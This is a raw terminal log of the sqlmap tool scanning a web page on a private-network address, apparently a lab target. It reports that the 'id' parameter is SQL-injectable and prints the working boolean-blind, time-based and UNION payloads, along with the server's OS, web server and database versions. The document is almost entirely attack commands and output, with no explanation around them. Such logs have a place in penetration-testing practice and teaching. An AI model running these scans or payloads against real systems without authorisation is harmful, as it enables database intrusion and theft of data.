1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88
| ❯ sqlmap -u "http://192.168.60.158/post.php?id=1" --batch ___ __H__ ___ ___[,]_____ ___ ___ {1.8.12#stable} |_ -| . [.] | .'| . | |___|_ [,]_|_|_|__,| _| |_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 17:15:50 /2025-01-17/
[17:15:50] [INFO] testing connection to the target URL [17:15:50] [INFO] testing if the target URL content is stable [17:15:50] [INFO] target URL content is stable [17:15:50] [INFO] testing if GET parameter 'id' is dynamic [17:15:50] [INFO] GET parameter 'id' appears to be dynamic [17:15:50] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable [17:15:50] [INFO] testing for SQL injection on GET parameter 'id' [17:15:50] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [17:15:51] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="La") [17:15:51] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL' it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y [17:15:51] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)' [17:15:51] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)' [17:15:51] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)' [17:15:51] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)' [17:15:51] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)' [17:15:51] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)' [17:15:51] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)' [17:15:51] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)' [17:15:51] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [17:15:51] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [17:15:51] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' [17:15:51] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' [17:15:51] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)' [17:15:51] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)' [17:15:51] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [17:15:51] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)' [17:15:51] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)' [17:15:51] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)' [17:15:51] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)' [17:15:51] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)' [17:15:51] [INFO] testing 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)' [17:15:51] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)' [17:15:51] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)' [17:15:51] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)' [17:15:51] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)' [17:15:51] [INFO] testing 'Generic inline queries' [17:15:51] [INFO] testing 'MySQL inline queries' [17:15:51] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)' [17:15:51] [INFO] testing 'MySQL >= 5.0.12 stacked queries' [17:15:51] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)' [17:15:51] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)' [17:15:51] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)' [17:15:51] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)' [17:15:51] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [17:16:01] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable [17:16:01] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [17:16:01] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [17:16:01] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test [17:16:01] [INFO] target URL appears to have 3 columns in query [17:16:01] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 77 HTTP(s) requests: --- Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1 AND 5515=5515
Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=1 AND (SELECT 4261 FROM (SELECT(SLEEP(5)))Wugi)
Type: UNION query Title: Generic UNION query (NULL) - 3 columns Payload: id=-9581 UNION ALL SELECT NULL,NULL,CONCAT(0x71787a7a71,0x7850696a4a77695942616f765453594d66466271666e526a434e5952476969766a7a647367486355,0x7176706a71)-- - --- [17:16:01] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu 20.10 or 20.04 or 19.10 (focal or eoan) web application technology: Apache 2.4.41 back-end DBMS: MySQL >= 5.0.12 [17:16:01] [INFO] fetched data logged to text files under '/home/Pepster/.local/share/sqlmap/output/192.168.60.158'
[*] ending @ 17:16:01 /2025-01-17/
|